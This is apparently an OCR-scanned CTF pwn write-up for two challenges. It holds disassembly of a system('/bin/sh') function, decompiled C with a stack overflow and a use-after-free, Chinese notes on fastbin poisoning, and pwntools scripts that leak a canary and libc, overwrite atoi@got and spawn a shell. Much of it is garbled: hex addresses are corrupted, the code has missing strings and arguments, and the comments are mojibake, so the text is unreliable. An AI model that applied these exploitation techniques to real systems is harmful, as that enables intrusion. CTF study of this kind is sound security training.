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namepie
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BFEAE:
.text:0000000006088AT1 sub_AT1 proc near
.text:00000AABAABAAATL ; __unwind {
.text:0600600000000A71 push rbp
.text:0000000000080A72 HOV rbp, rsp
.text:0PABAAAOARGAABATS lea rdi, command » "fbin/sh"
.text:0000800800880A7C call _system
.text:0000000000080A81 nop
.text:0PAAAAAAAARAAAS2 pop rbp
.text:0600600000000A83 retn
.text:00E00E0DBBBEOAS3 ; } // starts at A71
.text:APAAPAAPAAPARASY sub_AT1 endp
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llssize_t sub_9A8()

2q

char s; ff [rsp+Bh] [rbp-36h]

unsigned __int&4 v2; [/ [rsp+28h] [rbp-8h]

vZ = __readfsquord(Bx28u);

memset(&s, 8, 8x1Eull); /] BZs Bxle
puts("Input your Name:");

9 read(8, &s, 8x3Bull);

18] printf("hello ¥s: and what do your want to sey'\n", &s);

11 return read(8, &s, Bx6Bull); /] &l

12}
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from pwn import

context(log level

remote(

.1just(0x30-0x8+1,

p.recvuntil( .1just(0x30-0x8, )))
ub4(p.recv(8))-0x61

(canary))

0x28+p64(canary)

p.interactive()

onetime
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free ER% UAF :

1fint sub_4888B7()
2

int result; [/ eax

4

5 free(chunk_ptr); /| UAF

6 result = puts("complete!");

7 chunk_inuse = 8; /] EERTLL S R iR ThikE
8§ free_inuse = 1;

9 return result;
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if ( xxxx_inuse 1)
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1. UAF % fastbin ¥ fd #84+ 3 bss Bt, H bss L stdin BB R 3 #3& 1 size £z Ox7f

2. HIEHEREIR, REHARBEBIEETEIEE bss B, MESA payload (edit i —&kAGEHD , BEMrEME
#%, chunk_ptr 78 3% atoi@got
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from pwn import
context(log level

p process(

libc = ELF(

elf = ELF(

p remote( ,10001)
libc ELF( )

def add():
p.recvuntil(
p.sendline( )
def fill(content):
.recvuntil(
.sendline(
.recvuntil(
.send(content)
def show():
p.recvuntil(
p.sendline(
def free():
p.recvuntil(
p.sendline( )
def hint(name):
.recvuntil(
.sendline(
.recvuntil(
.send(name)

8+p64(elf.got[

ub4(p.recv(6).ljust(s8, ))
(atoi_addr))
atoi_addr libc.sym[

libc_base libc.sym[
(system_addr))

p.interactive()
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